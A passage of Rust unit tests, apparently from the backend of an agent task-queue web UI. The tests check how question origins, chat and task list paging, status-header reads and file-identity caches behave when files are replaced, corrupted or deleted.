26270        ui.questions.put(&mut release).unwrap();
26271        let watch = crate::release_watch::WatchState {
26272            question: Some(release.id.clone()),
26273            run: Some(previous.runs[0].clone()),
26274            held_task: Some(previous.id.clone()),
26275            ..Default::default()
26276        };
26277        let watch_dir = home.path().join("release-watch");
26278        std::fs::create_dir_all(&watch_dir).unwrap();
26279        let watch_path = watch_dir.join("watch.json");
26280        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
26281        // Ordinary questions and bump notices do not need watch-store I/O.
26282        for batch in [
26283            Vec::new(),
26284            questions.iter().map(|(q, _, _)| q.clone()).collect(),
26285        ] {
26286            let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
26287            assert!(watches.is_empty());
26288        }
26289        questions.push((release.clone(), true, false));
26290
26291        let views = questions_list(State(ui.clone())).await.unwrap().0;
26292        let origins = question_origins(State(ui.clone())).await.unwrap().0;
26293        for (q, associated, eligible) in &questions {
26294            let view = views.iter().find(|view| view.question.id == q.id).unwrap();
26295            let origin = origins.iter().find(|view| view.id == q.id).unwrap();
26296            let expected = associated.then_some(chat.as_str());
26297            assert_eq!(
26298                view.origin_chat.as_deref(),
26299                expected,
26300                "{} {}",
26301                q.node,
26302                q.run
26303            );
26304            assert_eq!(origin.origin_chat.as_deref(), expected);
26305            assert_eq!(view.origin_chat_closed, *associated);
26306            assert_eq!(origin.origin_chat_closed, *associated);
26307            assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
26308            assert_eq!(origin.can_consult_chat, *eligible);
26309        }
26310        // Either saved link independently recovers a release question's owner.
26311        for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
26312            let link = crate::release_watch::WatchState {
26313                run,
26314                held_task,
26315                ..watch.clone()
26316            };
26317            std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
26318            let (tasks, talks, watches) =
26319                question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
26320            assert_eq!(
26321                crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
26322                    .unwrap()
26323                    .id,
26324                chat,
26325            );
26326            assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
26327        }
26328        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
26329        // Even identical duplicate records are ambiguous: ignore their links.
26330        let duplicate_path = watch_dir.join("duplicate.json");
26331        std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
26332        let (tasks, talks, watches) =
26333            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
26334        assert!(
26335            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
26336                .is_none()
26337        );
26338        std::fs::remove_file(duplicate_path).unwrap();
26339        // Another explicit owner is a conflict even if it has no chat.
26340        let mut unrelated = Task::new(
26341            "other".into(),
26342            String::new(),
26343            PathBuf::from("/repo"),
26344            Source::Human,
26345        );
26346        unrelated.id = "unrelated-task".into();
26347        ui.queue.put(&mut unrelated).unwrap();
26348        let mut conflicting = watch.clone();
26349        conflicting.held_task = Some(unrelated.id);
26350        std::fs::write(
26351            watch_dir.join("conflict.json"),
26352            serde_json::to_vec(&conflicting).unwrap(),
26353        )
26354        .unwrap();
26355        let (tasks, talks, watches) =
26356            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
26357        assert!(
26358            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
26359                .is_none()
26360        );
26361        std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
26362        std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
26363        for origin in question_origins(State(ui.clone())).await.unwrap().0 {
26364            assert!(origin.origin_chat.is_none());
26365            assert!(!origin.origin_chat_closed);
26366        }
26367    }
26368
26369    #[test]
26370    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
26371        let home = tempfile::tempdir().unwrap();
26372        let ui = delta_test_ui(home.path());
26373        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
26374        for i in 0..1000 {
26375            let mut task = Task::new(
26376                "unrelated".into(),
26377                "instruction ".repeat(256),
26378                PathBuf::from("/repo"),
26379                Source::Human,
26380            );
26381            task.id = format!("history-{i:04}");
26382            ui.queue.put(&mut task).unwrap();
26383            let id = seed_talk_at(&ui.talks, &task.id, "open");
26384            let mut talk = ui.talks.get(&id).unwrap();
26385            talk.pending = "history ".repeat(256);
26386            ui.talks.put(&mut talk).unwrap();
26387        }
26388        let mut parent = Task::new(
26389            "parent".into(),
26390            "body".into(),
26391            PathBuf::from("/repo"),
26392            Source::Agent {
26393                run: chat_id.clone(),
26394                node: crate::queue::CHAT_NODE.into(),
26395            },
26396        );
26397        parent.id = "task-parent".into();
26398        parent.runs = vec!["run-parent".into()];
26399        ui.queue.put(&mut parent).unwrap();
26400        let mut child = Task::new(
26401            "child".into(),
26402            "body".into(),
26403            PathBuf::from("/repo"),
26404            Source::Human,
26405        );
26406        child.id = "task-child".into();
26407        child.runs = vec!["run-child".into()];
26408        child.followup = Some(crate::queue::FollowUp {
26409            run: "run-parent".into(),
26410            origin_task: Some(parent.id.clone()),
26411            pr: "https://example.invalid/pr/1".into(),
26412            findings: vec![],
26413            generation: 1,
26414        });
26415        ui.queue.put(&mut child).unwrap();
26416        let mut question = Question::new(
26417            child.id.clone(),
26418            crate::conduct::NODE.into(),
26419            "seat".into(),
26420            "Continue?".into(),
26421            String::new(),
26422            vec![],
26423        );
26424        let (tasks, talks, _watches) =
26425            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26426        assert_eq!(tasks.len(), 2);
26427        assert_eq!(talks.len(), 1);
26428        assert_eq!(
26429            ui.monitor.queue_index.lock().unwrap().reparsed,
26430            0,
26431            "exact ancestry bypasses the index"
26432        );
26433        assert_eq!(
26434            crate::consult::origin_talk(&tasks, &talks, &question)
26435                .unwrap()
26436                .id,
26437            chat_id
26438        );
26439        question.run = "run-child".into();
26440        question.node = "review".into();
26441        for origin_task in [Some(parent.id.clone()), None] {
26442            child.followup.as_mut().unwrap().origin_task = origin_task;
26443            ui.queue.put(&mut child).unwrap();
26444            let (tasks, talks, _watches) =
26445                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26446            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
26447            let expected =
26448                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
26449                    .unwrap();
26450            assert_eq!(actual.id, expected.id);
26451            assert!(!actual.status.open());
26452            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
26453            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26454            // Without Unix file identity, every readable record must be
26455            // reparsed to detect same-size, same-mtime replacements safely.
26456            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
26457            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
26458        }
26459        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
26460        ui.queue.put(&mut child).unwrap();
26461        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
26462        let (tasks, talks, _watches) =
26463            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26464        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
26465        child.origin_chat = Some(chat_id.clone());
26466        ui.queue.put(&mut child).unwrap();
26467        let (tasks, talks, _watches) =
26468            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26469        assert_eq!(
26470            crate::consult::origin_talk(&tasks, &talks, &question)
26471                .unwrap()
26472                .id,
26473            chat_id
26474        );
26475        let revision = question_record_revision(&question);
26476        question.abandon("settled elsewhere");
26477        assert_ne!(revision, question_record_revision(&question));
26478        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
26479        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
26480        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
26481        let (tasks, talks, _watches) =
26482            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26483        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
26484    }
26485
26486    #[test]
26487    fn list_cursors_freeze_membership_and_expire_explicitly() {
26488        let home = tempfile::tempdir().unwrap();
26489        let ui = delta_test_ui(home.path());
26490        std::fs::create_dir_all(ui.queue.root()).unwrap();
26491        for i in 0..40 {
26492            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
26493        }
26494        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
26495        assert_eq!(first.len(), STORE_PAGE_SIZE);
26496        let cursor = cursor.unwrap();
26497        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
26498        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
26499        let (second, _) = page_ids(
26500            &ui,
26501            false,
26502            PageQuery {
26503                before: Some(cursor.clone()),
26504            },
26505        )
26506        .unwrap();
26507        assert_eq!(second[0], "record-0023");
26508        assert!(second.iter().all(|id| !first.contains(id)));
26509        assert!(
26510            page_ids(
26511                &ui,
26512                true,
26513                PageQuery {
26514                    before: Some(cursor.clone())
26515                }
26516            )
26517            .is_err()
26518        );
26519        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
26520        assert_eq!(fresh[0], "record-9999");
26521        ui.monitor.list_walks.lock().unwrap().clear();
26522        assert!(
26523            page_ids(
26524                &ui,
26525                false,
26526                PageQuery {
26527                    before: Some(cursor)
26528                }
26529            )
26530            .is_err()
26531        );
26532    }
26533
26534    #[tokio::test]
26535    async fn talk_pages_load_every_open_then_frozen_closed_history() {
26536        let home = tempfile::tempdir().unwrap();
26537        let ui = delta_test_ui(home.path());
26538        // Every closed conversation is newer by ID than every open conversation.
26539        for i in 0..23 {
26540            seed_talk_at(&ui.talks, &format!("20260101-000000-{i:03}"), "open");
26541        }
26542        for i in 0..45 {
26543            seed_talk_at(&ui.talks, &format!("20261019-000000-{i:03}"), "closed");
26544        }
26545        std::fs::write(ui.talks.path_of("20261020-000000-corrupt"), "broken").unwrap();
26546        let first = talks_page(
26547            State(ui.clone()),
26548            Query(PageQuery::default()),
26549            header::HeaderMap::new(),
26550        )
26551        .await
26552        .unwrap()
26553        .0;
26554        assert_eq!(
26555            first.rows.iter().filter(|row| row.status.open()).count(),
26556            23
26557        );
26558        assert_eq!(first.rows.len(), 23 + STORE_PAGE_SIZE - 1);
26559        assert!(first.rows[..23].iter().all(|row| row.status.open()));
26560        let parsed = ui
26561            .monitor
26562            .talk_parses
26563            .load(std::sync::atomic::Ordering::Relaxed);
26564        assert_eq!(
26565            parsed,
26566            first.rows.len(),
26567            "closed bodies outside this page are not restored"
26568        );
26569        let fresh = talks_page(
26570            State(ui.clone()),
26571            Query(PageQuery::default()),
26572            header::HeaderMap::new(),
26573        )
26574        .await
26575        .unwrap()
26576        .0;
26577        assert_eq!(fresh.rows.len(), first.rows.len());
26578        assert_eq!(
26579            ui.monitor
26580                .talk_parses
26581                .load(std::sync::atomic::Ordering::Relaxed),
26582            parsed
26583        );
26584        let mut seen: std::collections::HashSet<_> =
26585            first.rows.iter().map(|row| row.id.clone()).collect();
26586        // Status changes keep their original membership position until refresh.
26587        seed_talk_at(&ui.talks, "20261019-000000-000", "open");
26588        seed_talk_at(&ui.talks, "20260101-000000-000", "closed");
26589        std::fs::remove_file(ui.talks.path_of("20261019-000000-001")).unwrap();
26590        let mut next = first.next;
26591        while let Some(cursor) = next {
26592            let page = talks_page(
26593                State(ui.clone()),
26594                Query(PageQuery {
26595                    before: Some(cursor),
26596                }),
26597                header::HeaderMap::new(),
26598            )
26599            .await
26600            .unwrap()
26601            .0;
26602            assert!(page.rows.len() <= STORE_PAGE_SIZE);
26603            for row in page.rows {
26604                assert!(seen.insert(row.id), "a cursor must not repeat membership");
26605            }
26606            next = page.next;
26607        }
26608        let expected: HashSet<_> = (0..23)
26609            .map(|i| format!("20260101-000000-{i:03}"))
26610            .chain(
26611                (0..45)
26612                    .filter(|i| *i != 1)
26613                    .map(|i| format!("20261019-000000-{i:03}")),
26614            )
26615            .collect();
26616        assert_eq!(
26617            seen, expected,
26618            "the cursor walk must return every surviving ID"
26619        );
26620        let refreshed = talks_page(
26621            State(ui.clone()),
26622            Query(PageQuery::default()),
26623            header::HeaderMap::new(),
26624        )
26625        .await
26626        .unwrap()
26627        .0;
26628        assert_eq!(
26629            refreshed
26630                .rows
26631                .iter()
26632                .filter(|row| row.status.open())
26633                .count(),
26634            23
26635        );
26636        assert!(
26637            refreshed
26638                .rows
26639                .iter()
26640                .any(|row| row.id == "20261019-000000-000")
26641        );
26642        assert!(
26643            !refreshed
26644                .rows
26645                .iter()
26646                .any(|row| row.id == "20260101-000000-000")
26647        );
26648    }
26649
26650    #[test]
26651    fn talk_pages_with_only_open_rows_have_no_history_cursor() {
26652        let home = tempfile::tempdir().unwrap();
26653        let ui = delta_test_ui(home.path());
26654        for i in 0..STORE_PAGE_SIZE + 5 {
26655            seed_talk_at(&ui.talks, &format!("open-{i:03}"), "open");
26656        }
26657        let (ids, next) = page_ids(&ui, true, PageQuery::default()).unwrap();
26658        assert_eq!(ids.len(), STORE_PAGE_SIZE + 5);
26659        assert!(next.is_none());
26660    }
26661
26662    #[test]
26663    fn talk_status_header_reads_are_bounded_independently_of_transcript_size() {
26664        struct Counted<R> {
26665            inner: R,
26666            bytes: usize,
26667        }
26668        impl<R: std::io::Read> std::io::Read for Counted<R> {
26669            fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
26670                let n = self.inner.read(buf)?;
26671                self.bytes += n;
26672                Ok(n)
26673            }
26674        }
26675        let home = tempfile::tempdir().unwrap();
26676        let ui = delta_test_ui(home.path());
26677        let id = seed_talk_at(&ui.talks, "header-chat", "closed");
26678        let mut chat = ui.talks.get(&id).unwrap();
26679        for size in [0, 1024 * 1024, 8 * 1024 * 1024] {
26680            chat.turns = vec![
26681                serde_json::from_value(serde_json::json!({
26682                    "who": "agent", "body": "x".repeat(size), "at": chat.updated_at,
26683                }))
26684                .unwrap(),
26685            ];
26686            for status in [talk::TalkStatus::Closed, talk::TalkStatus::Open] {
26687                chat.status = status;
26688                // Exercise the actual on-disk serializer, including its field order.
26689                let body = serde_json::to_vec_pretty(&chat).unwrap();
26690                let mut reader = Counted {
26691                    inner: body.as_slice(),
26692                    bytes: 0,
26693                };
26694                assert_eq!(read_talk_status(&mut reader), Some(status));
26695                assert!(
26696                    reader.bytes <= 1024,
26697                    "header classification read {} bytes",
26698                    reader.bytes
26699                );
26700            }
26701        }
26702        // Noncanonical field order must neither traverse a transcript nor hide
26703        // an open row. Its real status is validated by the ordinary row reader.
26704        let noncanonical = format!(
26705            r#"{{"turns":[{{"body":"{}"}}],"status":"open"}}"#,
26706            "x".repeat(1024 * 1024)
26707        );
26708        let mut reader = Counted {
26709            inner: noncanonical.as_bytes(),
26710            bytes: 0,
26711        };
26712        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
26713        assert!(reader.bytes <= 1024);
26714        let oversized = format!(
26715            r#"{{"agent":"{}","status":"open"}}"#,
26716            "x".repeat(128 * 1024)
26717        );
26718        let mut reader = Counted {
26719            inner: oversized.as_bytes(),
26720            bytes: 0,
26721        };
26722        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
26723        assert!(reader.bytes <= 64 * 1024);
26724    }
26725
26726    #[test]
26727    fn talk_header_classification_does_not_hold_the_queue_cursor_registry() {
26728        let home = tempfile::tempdir().unwrap();
26729        let ui = delta_test_ui(home.path());
26730        seed_talk_at(&ui.talks, "header-chat", "open");
26731        std::fs::create_dir_all(ui.queue.root()).unwrap();
26732        let (started, ready) = std::sync::mpsc::channel();
26733        let (release, wait) = std::sync::mpsc::channel();
26734        let chat_ui = ui.clone();
26735        let scan = std::thread::spawn(move || {
26736            page_ids_with(&chat_ui, true, PageQuery::default(), |ui, ids| {
26737                started.send(()).unwrap();
26738                wait.recv().unwrap();
26739                open_talk_ids(ui, ids)
26740            })
26741            .unwrap()
26742        });
26743        ready.recv_timeout(Duration::from_secs(2)).unwrap();
26744        let (finished, result) = std::sync::mpsc::channel();
26745        let queue = std::thread::spawn(move || {
26746            finished
26747                .send(page_ids(&ui, false, PageQuery::default()).is_ok())
26748                .unwrap();
26749        });
26750        let completed = result.recv_timeout(Duration::from_secs(2));
26751        // Release and join both workers even if the regression returns.
26752        release.send(()).unwrap();
26753        scan.join().unwrap();
26754        queue.join().unwrap();
26755        assert!(
26756            completed.unwrap(),
26757            "queue paging must not wait for chat header I/O"
26758        );
26759    }
26760
26761    #[test]
26762    fn talk_status_projection_does_not_cache_files_changed_during_read() {
26763        let home = tempfile::tempdir().unwrap();
26764        let ui = delta_test_ui(home.path());
26765        let ids = vec!["changing-chat".to_owned()];
26766        seed_talk_at(&ui.talks, &ids[0], "closed");
26767        assert!(open_talk_ids(&ui, &ids).is_empty());
26768        seed_talk_at(&ui.talks, &ids[0], "open");
26769        let open = open_talk_ids_with(&ui, &ids, cfg!(unix), |path| {
26770            let value: serde_json::Value =
26771                serde_json::from_slice(&std::fs::read(path).unwrap()).unwrap();
26772            // Replace the file after parsing, before its identity is checked again.
26773            seed_talk_at(&ui.talks, &ids[0], "closed");
26774            serde_json::from_value(value["status"].clone()).ok()
26775        });
26776        assert!(open.contains(&ids[0]));
26777        assert!(
26778            ui.monitor
26779                .talk_status_index
26780                .lock()
26781                .unwrap()
26782                .records
26783                .is_empty()
26784        );
26785        assert!(open_talk_ids(&ui, &ids).is_empty());
26786        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, 3);
26787    }
26788
26789    #[test]
26790    fn talk_status_projection_rereads_when_metadata_cannot_prove_identity() {
26791        let home = tempfile::tempdir().unwrap();
26792        let ui = delta_test_ui(home.path());
26793        let ids = vec!["same-stamp-chat".to_owned()];
26794        seed_talk_at(&ui.talks, &ids[0], "open");
26795        // Model a non-Unix metadata collision deterministically: the old
26796        // classification has a fingerprint equal to the current file's.
26797        ui.monitor.talk_status_index.lock().unwrap().records.insert(
26798            ids[0].clone(),
26799            (
26800                file_identity(&ui.talks.path_of(&ids[0])).unwrap(),
26801                Some(talk::TalkStatus::Closed),
26802            ),
26803        );
26804        let open = open_talk_ids_with(&ui, &ids, false, |path| {
26805            std::fs::File::open(path).ok().and_then(read_talk_status)
26806        });
26807        assert!(
26808            open.contains(&ids[0]),
26809            "an untrusted cache hit must still read the current header"
26810        );
26811        assert!(
26812            ui.monitor
26813                .talk_status_index
26814                .lock()
26815                .unwrap()
26816                .records
26817                .is_empty()
26818        );
26819        seed_talk_at(&ui.talks, &ids[0], "closed");
26820        assert!(
26821            open_talk_ids_with(&ui, &ids, false, |path| {
26822                std::fs::File::open(path).ok().and_then(read_talk_status)
26823            })
26824            .is_empty()
26825        );
26826        let index = ui.monitor.talk_status_index.lock().unwrap();
26827        assert_eq!(index.parses, 2);
26828        assert!(
26829            index.records.is_empty(),
26830            "untrusted fingerprints must never publish cache entries"
26831        );
26832    }
26833
26834    #[test]
26835    fn talk_rows_cache_shrinks_without_reparsing_open_rows() {
26836        let home = tempfile::tempdir().unwrap();
26837        let ui = delta_test_ui(home.path());
26838        let headers = header::HeaderMap::new();
26839        seed_talk_at(&ui.talks, "open-chat", "open");
26840        seed_talk_at(&ui.talks, "closed-chat", "closed");
26841        talk_rows(
26842            &ui,
26843            vec!["open-chat".into(), "closed-chat".into()],
26844            &headers,
26845        );
26846        {
26847            let mut index = ui.monitor.talk_index.lock().unwrap();
26848            let closed = index["closed-chat"].1.clone();
26849            for i in 0..1000 {
26850                index.insert(
26851                    format!("cached-closed-{i}"),
26852                    (
26853                        file_identity(&ui.talks.path_of("closed-chat")).unwrap(),
26854                        closed.clone(),
26855                    ),
26856                );
26857            }
26858        }
26859        assert_eq!(
26860            talk_rows(&ui, vec!["closed-chat".into()], &headers).len(),
26861            1
26862        );
26863        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 2);
26864        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
26865        assert_eq!(
26866            ui.monitor
26867                .talk_parses
26868                .load(std::sync::atomic::Ordering::Relaxed),
26869            2
26870        );
26871        {
26872            let mut index = ui.monitor.talk_index.lock().unwrap();
26873            let open = index["open-chat"].1.clone();
26874            for i in 0..1000 {
26875                index.insert(
26876                    format!("cached-open-{i}"),
26877                    (
26878                        file_identity(&ui.talks.path_of("open-chat")).unwrap(),
26879                        open.clone(),
26880                    ),
26881                );
26882            }
26883        }
26884        // Even when open rows exceed the bound, keep the currently requested rows.
26885        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
26886        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 1);
26887        assert_eq!(
26888            ui.monitor
26889                .talk_parses
26890                .load(std::sync::atomic::Ordering::Relaxed),
26891            2
26892        );
26893    }
26894
26895    #[test]
26896    fn talk_status_projection_reuses_large_indexes_and_prunes_deleted_files() {
26897        let home = tempfile::tempdir().unwrap();
26898        let ui = delta_test_ui(home.path());
26899        std::fs::create_dir_all(ui.talks.root()).unwrap();
26900        let ids: Vec<_> = (0..1050).map(|i| format!("chat-{i:04}")).collect();
26901        for id in &ids {
26902            std::fs::write(
26903                ui.talks.path_of(id),
26904                r#"{"status":"closed","turns":[{"body":"ignored"}]}"#,
26905            )
26906            .unwrap();
26907        }
26908        assert!(open_talk_ids(&ui, &ids).is_empty());
26909        assert_eq!(
26910            ui.monitor.talk_status_index.lock().unwrap().parses,
26911            ids.len()
26912        );
26913        assert!(open_talk_ids(&ui, &ids).is_empty());
26914        let reused = if cfg!(unix) { ids.len() } else { 2 * ids.len() };
26915        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, reused);
26916        std::fs::write(ui.talks.path_of(&ids[0]), r#"{"status":"open"}"#).unwrap();
26917        std::fs::write(ui.talks.path_of(&ids[1]), "broken").unwrap();
26918        assert_eq!(
26919            open_talk_ids(&ui, &ids),
26920            std::collections::HashSet::from([ids[0].clone()])
26921        );
26922        let parsed = ui.monitor.talk_status_index.lock().unwrap().parses;
26923        let refreshed = if cfg!(unix) { 2 } else { ids.len() };
26924        assert_eq!(parsed, reused + refreshed);
26925        open_talk_ids(&ui, &ids);
26926        assert_eq!(
26927            ui.monitor.talk_status_index.lock().unwrap().parses,
26928            parsed + if cfg!(unix) { 0 } else { ids.len() },
26929            "only reliable file identity permits caching, including unreadable rows"
26930        );
26931        std::fs::remove_file(ui.talks.path_of(&ids[0])).unwrap();
26932        assert!(open_talk_ids(&ui, &ids[1..]).is_empty());
26933        assert!(
26934            !ui.monitor
26935                .talk_status_index
26936                .lock()
26937                .unwrap()
26938                .records
26939                .contains_key(&ids[0])
26940        );
26941        assert!(
26942            ui.monitor.talk_index.lock().unwrap().is_empty(),
26943            "classification never caches bodies"
26944        );
26945    }
26946
26947    #[tokio::test]
26948    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
26949        let home = tempfile::tempdir().unwrap();
26950        let ui = delta_test_ui(home.path());
26951        let mut task = Task::new(
26952            "task".into(),
26953            "body".into(),
26954            PathBuf::from("/repo"),
26955            Source::Human,
26956        );
26957        ui.queue.put(&mut task).unwrap();
26958        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
26959        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
26960        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
26961        let expected = parsed + usize::from(!cfg!(unix));
26962        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
26963        task.status = crate::queue::TaskStatus::Held;
26964        ui.queue.put(&mut task).unwrap();
26965        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
26966        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
26967        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
26968        ui.queue.put(&mut task).unwrap();
26969        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
26970        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
26971        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
26972    }
26973
26974    #[tokio::test]
26975    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
26976        let home = tempfile::tempdir().unwrap();
26977        let ui = delta_test_ui(home.path());
26978        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
26979        let before = health(State(ui.clone())).await.unwrap().0;
26980        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
26981        let after = health(State(ui)).await.unwrap().0;
26982        assert_ne!(before.notifications_rev, after.notifications_rev);
26983        assert_eq!(after.notifications_unread, 1);
26984    }
26985
26986    #[tokio::test]
26987    async fn list_pages_bound_history_and_keep_dependency_evidence() {
26988        let home = tempfile::tempdir().unwrap();
26989        let ui = delta_test_ui(home.path());
26990        let queue = &ui.queue;
26991        let talks = &ui.talks;
26992        for i in 0..1000 {
26993            let id = format!("20261019-{i:06}-page");
26994            let mut task = Task::new(
26995                "task".into(),
26996                "instruction".repeat(100),
26997                PathBuf::from("/repo/magi"),
26998                Source::Human,
26999            );
27000            task.id = id.clone();
27001            if i == 0 {
27002                task.status = crate::queue::TaskStatus::Held;
27003            } else if i == 999 {
27004                task.status = crate::queue::TaskStatus::Blocked;
27005                task.blocked_by = vec!["20261019-000000-page".into()];
27006            }
27007            queue.put(&mut task).unwrap();
27008            seed_talk_at(talks, &id, "closed");
27009        }
27010        let page = serde_json::to_value(
27011            queue_page(State(ui.clone()), Query(PageQuery::default()))
27012                .await
27013                .unwrap()
27014                .0,
27015        )
27016        .unwrap();
27017        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
27018        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
27019        assert!(
27020            !page["rows"][0]["stuck_roots"]
27021                .as_array()
27022                .unwrap()
27023                .is_empty()
27024        );
27025        let cursor = page["next"].as_str().unwrap();
27026        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
27027            .as_str()
27028            .unwrap();
27029        // Deleting an already enumerated file cannot shift or repeat a page.
27030        std::fs::remove_file(queue.path_of(last_id)).unwrap();
27031        let next = serde_json::to_value(
27032            queue_page(
27033                State(ui.clone()),
27034                Query(PageQuery {
27035                    before: Some(cursor.into()),
27036                }),
27037            )
27038            .await
27039            .unwrap()
27040            .0,
27041        )
27042        .unwrap();
27043        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
27044        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
27045        let chats = serde_json::to_value(
27046            talks_page(
27047                State(ui.clone()),
27048                Query(PageQuery::default()),
27049                header::HeaderMap::new(),
27050            )
27051            .await
27052            .unwrap()
27053            .0,
27054        )
27055        .unwrap();
27056        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
27057        assert!(chats["rows"][0].get("pending").is_none());
27058        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
27059        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
27060        assert_eq!(counts["held"], 1);
27061        assert_eq!(counts["blocked"], 1);
27062        assert_eq!(counts["queued"], 997);
27063    }
27064
27065    #[test]
27066    fn queue_index_observes_external_replacement_deletion_and_corruption() {
27067        let dir = tempfile::tempdir().unwrap();
27068        let ui = delta_test_ui(dir.path());
27069        let mut task = Task::new(
27070            "task".into(),
27071            "body".into(),
27072            PathBuf::from("/repo"),
27073            Source::Human,
27074        );
27075        task.runs = vec!["run-a".into()];
27076        ui.queue.put(&mut task).unwrap();
27077        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
27078        task.runs = vec!["run-b".into()];
27079        let path = ui.queue.path_of(&task.id);
27080        let modified = path.metadata().unwrap().modified().unwrap();
27081        let replacement = path.with_extension("replacement");
27082        let bytes = serde_json::to_vec_pretty(&task).unwrap();
27083        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
27084        std::fs::write(&replacement, &bytes).unwrap();
27085        std::fs::File::options()
27086            .write(true)
27087            .open(&replacement)
27088            .unwrap()
27089            .set_times(std::fs::FileTimes::new().set_modified(modified))
27090            .unwrap();
27091        std::fs::rename(&replacement, &path).unwrap();
27092        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
27093        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
27094        std::fs::write(&path, "broken").unwrap();
27095        assert!(ui.find_task_for_run("run-b").is_err());
27096        std::fs::write(&path, bytes).unwrap();
27097        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
27098        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
27099        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
27100    }
27101
27102    #[tokio::test]
27103    async fn conversation_core_is_independent_of_unreadable_related_history() {
27104        let home = tempfile::tempdir().unwrap();
27105        let ui = delta_test_ui(home.path());
27106        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
27107        std::fs::create_dir_all(ui.queue.root()).unwrap();
27108        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
27109        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
27110            .await
27111            .unwrap();
27112        assert_eq!(core.talk.id, id);
27113        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
27114    }
27115
27116    #[test]
27117    fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
27118        let home = tempfile::tempdir().unwrap();
27119        let ui = delta_test_ui(home.path());
27120        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
27121        let directory = home.path().join("workers/jobs/abcdef");
27122        std::fs::create_dir_all(&directory).unwrap();
